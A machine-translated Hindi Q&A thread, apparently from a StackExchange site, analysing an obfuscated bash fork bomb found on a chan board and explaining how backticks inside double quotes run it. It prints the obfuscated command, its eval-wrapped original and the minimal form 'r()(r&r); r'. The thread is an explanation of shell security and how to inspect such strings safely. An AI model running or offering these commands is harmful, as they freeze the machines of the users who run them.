कैसे और क्यों यह पाठ का एक कांटा बम है?

Question

एक यादृच्छिक चान बोर्ड पर पाया:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

किसी तरह यह चल रहा है एक असीम spawning प्रक्रिया में परिणाम है कि बड़े पैमाने पर चलाता है और मशीन को रोकने के लिए पीसता है। मैं "सु" के बारे में कुछ देखता हूं जिसे कई बार क्रियान्वित करने का प्रयास किया जाता है।

.. जो अजीब है, क्योंकि मुझे उम्मीद है कि टेक्स्ट आउटपुट होगा, किसी भी चीज का निष्पादन नहीं।

एक ऑनलाइन डिकोडर के माध्यम से इस पाठ को चलाने से मुझे केवल बाइनरी स्प्यू का एक बैच मिलता है:

पाठ की यह गड़बड़ी वास्तव में क्या कर रही है, और क्या इसे "सुरक्षित रूप से" देखने का एक तरीका है?

Comments

"सु" को कई बार क्यों निष्पादित किया जाता है?

— ब्रेंट वॉशबर्न

सलाह का एक टुकड़ा: यादृच्छिक चान बोर्डों से कोड न चलाएं और आभारी रहें कि यह सिर्फ एक कांटा बम था।

— rr-

हे। शुक्र है कि मैं इस तरह के संभवतः शत्रुतापूर्ण कचरे के साथ खेलने के एक्सप्रेस उद्देश्य के लिए बनाए गए स्नैपशॉट पर था।

— मिकी टीके

@Sebi - archive.rebeccablacktech.com/g/thread/45564403

— Pikamander2

Shellcheck.net के लेखक विदर होलेन ने इस पर एक ब्लॉग पोस्ट लिखा जिसमें वह इस कांटे के बम के लेखक होने का दावा करते हैं और कुछ पृष्ठभूमि की जानकारी देते हैं।

— सोकोवि

Answer 1

पहले, आइए पूरे कमांड को देखें:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

इसमें एक डबल-कोटेड स्ट्रिंग होता है जो कि प्रतिध्वनित होता है uudecode। लेकिन, ध्यान दें कि दोहरे-उद्धृत स्ट्रिंग के भीतर एक पीछे-उद्धृत स्ट्रिंग है। इस तार को अंजाम दिया जाता है । स्ट्रिंग है:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

यदि हम देखते हैं कि इसमें क्या है, तो हम तीन कमांड देखते हैं:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

प्रदर्शन ब्रेस विस्तार मध्य कमान पर, हमने:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

पहली पंक्ति पृष्ठभूमि में एक निरर्थक आदेश चलाने की कोशिश करती है। यह महत्वहीन है।

दूसरी पंक्ति महत्वपूर्ण है: यह एक फ़ंक्शन को परिभाषित करती है r, जो जब चलती है, तो स्वयं की दो प्रतियां लॉन्च करती है। उनमें से प्रत्येक प्रतियां, निश्चित रूप से, दो और प्रतियां लॉन्च करेगी। और इसी तरह।

तीसरी पंक्ति चलती है r, कांटा बम शुरू।

कोड के बाकी, पीछे-उद्धृत स्ट्रिंग के बाहर, बस अड़चन के लिए बकवास है।

कमांड को सुरक्षित तरीके से कैसे चलाएं

यदि हम फ़ंक्शन नेस्टिंग स्तर पर सीमा निर्धारित करते हैं तो यह कोड सुरक्षित रूप से चलाया जा सकता है। यह बैश के FUNCNESTचर के साथ किया जा सकता है । यहाँ, हम इसे सेट करते हैं 2और यह पुनरावृत्ति को रोकता है:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

ऊपर दिए गए त्रुटि संदेश बताते हैं कि (ए) बकवास आदेश rYWdlऔर Y29jनहीं मिला है, (बी) कांटा बम FUNCNEST द्वारा बार-बार बंद हो जाता है, और (सी) के साथ उत्पादन echoशुरू नहीं होता है beginऔर, परिणामस्वरूप, के लिए मान्य इनपुट नहीं है uudecode।

कांटा बम अपने सरलतम रूप में

यदि हम अशुद्धि को हटा दें तो कांटा बम कैसा दिखेगा? जैसा कि njzk2 और gerrit सुझाव देता है, यह ऐसा दिखेगा:

echo "`r()(r&r);r`"

हम इसे और भी सरल बना सकते हैं:

r()(r&r); r

इसमें दो कथन शामिल हैं: एक कांटा-बम-फ़ंक्शन rऔर दूसरा रन को परिभाषित करता है r।

पाइप सहित अन्य सभी कोड, uudecodeकेवल अश्लीलता और गलत काम के लिए थे।

मूल रूप में अभी तक गलत तरीके की एक और परत थी

ओपी ने चैंन बोर्ड चर्चा का एक लिंक प्रदान किया है जिस पर यह कोड दिखाई दिया। जैसा कि वहां प्रस्तुत किया गया है, कोड इस तरह दिखता है:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

इस कोड के बारे में पहली टिप्पणियों में से एक को नोटिस करें:

मैं इसके लिए गिर गया। केवल उस हिस्से को कॉपी किया जो गूँजता और सड़ता है, लेकिन फिर भी forkbombed हो गया

चन्न बोर्ड पर इस रूप में, किसी को भोलेपन से लगता है कि समस्या evalके उत्पादन पर परिचालन वक्तव्य होगा uudecode। इससे यह सोचा जाएगा कि हटाने evalसे समस्या हल हो जाएगी। जैसा कि हमने ऊपर देखा है, यह गलत और खतरनाक है।

Comments

कुटिल! मैंने कभी भी गूँजती / फैलती हुई गूँज के बीच में गोले पर विचार करने के बारे में नहीं सोचा था।

— मिकी टीके

मुझे लगता है कि यह नोट करना अच्छा होगा कि uudecodeयहां पूरी तरह से अप्रासंगिक है। एक पल के लिए मुझे लगा कि uudecodeपीछे से उद्धृत स्ट्रिंग इंटरपोलेशन प्रदर्शन कर रहा है जो इसे मौलिक रूप से असुरक्षित प्रस्तुत करेगा, लेकिन यूडकोस्ट शुरू होने से पहले कांटा बम होता है।

— गेरिट

... और यह , देवियों और सज्जनों, यही कारण है कि शेल लिपियों में सुरक्षा इतनी कठिन है। यहां तक ​​कि पूरी तरह से हानिरहित दिखने वाला सामान आपको मार सकता है। (कल्पना कीजिए कि अगर यह कहीं से उपयोगकर्ता इनपुट था ...)

— MathematicalOrchid

@MathematicalOrchid यह वास्तव में एक इनपुट स्क्रिप्ट को निष्पादित करने के लिए उपयोगकर्ता इनपुट में backquoted सामान के कारण nontrivial प्रयास करता है। और यदि आप उपयोगकर्ता इनपुट से एक शेल स्क्रिप्ट का निर्माण कर रहे हैं, तो आपको इसे दोहरे उद्धरण चिह्नों में रखने से बेहतर पता होना चाहिए।

— रैंडम 832

@ njzk2 आपको अभी भी &वहाँ की आवश्यकता है echo "`r()(r&r);r`":।

— gerrit

Answer 2

अपने प्रश्न के दूसरे भाग का उत्तर देने के लिए:

... क्या इसे "सुरक्षित रूप से" देखने का एक तरीका है?

इस स्ट्रिंग को डिफ्यूज करने के लिए, बाहरी दोहरे कोट्स को सिंगल कोट्स से बदलें और स्ट्रिंग के अंदर होने वाले सिंगल कोट्स से बचें। इस तरह, शेल किसी भी कोड को निष्पादित नहीं करेगा, और आप वास्तव में सीधे सब कुछ पास कर रहे हैं uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

अन्य विकल्प टिप्पणियों में नोट किए गए हैं:

कैस्पर ने सुझाव दिया :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

याकूब क्राल ने एक पाठ संपादक का उपयोग करने, सामग्री को पेस्ट करने, फिर उस फ़ाइल को यूडोबॉस में पास करने का सुझाव दिया ।

Comments

वैकल्पिक रूप से: uudecodeकमांड लाइन पर टाइप करें। एंटर दबाए। डिकोड किए जाने वाले स्ट्रिंग को कॉपी-पेस्ट करें।

— कास्परड

एक अन्य विकल्प: सामग्री को फ़ाइल में सहेजने के लिए एक टेक्स्ट एडिटर का उपयोग करें। उस फ़ाइल को खोलें uudecode।

— जैकब क्रॉल

दोनों के लिए धन्यवाद, मैंने उत्तर में उन विकल्पों पर ध्यान दिया है।

— gerrit

सुनिश्चित करें कि आप जाँच लें कि स्ट्रिंग echo "foo`die`bar'`die`'baz"पहले जैसा कुछ नहीं है ! यही है, अगर इसमें कोई भी 'एस है तो एकल उद्धरण के साथ उद्धरणों की जगह पर्याप्त नहीं होगी।

— wchargin

Answer 3

पहली नज़र में, आप सोच सकते हैं कि शेल में आउटपुट कभी भी निष्पादित नहीं होगा । यह अभी भी सच है । समस्या इनपुट में पहले से है । यहां मुख्य चाल यह है कि प्रोग्रामर किस ऑपरेटर को वरीयता कहते हैं । यह वह क्रम है जो शेल आपके इनपुट को संसाधित करने का प्रयास करता है:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode

1. इसके अंदर सभी backticks कमांड को निष्पादित करके स्ट्रिंग लिखें।
2. आमतौर पर एक अज्ञात कमांड, जो कुछ आउटपुट का कारण होगा जैसे अगर 'rYWdl' एक टाइपो नहीं है तो आप इसमें मौजूद पैकेज को देखने के लिए कमांड-न-पाया का उपयोग कर सकते हैं ... (सिस्टम पर निर्भर करता है)
3. निष्पादित 2. पृष्ठभूमि में। आप कभी भी आउटपुट नहीं देखेंगे।
4. कांटा बम समारोह को परिभाषित करें।
5. कमांड सेपरेटर।
6. कांटा बम चलाते हैं।
7. स्ट्रिंग में 6. का परिणाम डालें। (हम यहां कभी नहीं आते)

त्रुटि यह सोचने की है कि echoनिष्पादित होने वाली पहली कमांड होगी, uudecodeदूसरी। दोनों कभी नहीं पहुंचेंगे।

निष्कर्ष: शेल पर दोहरे उद्धरण हमेशा खतरनाक होते हैं।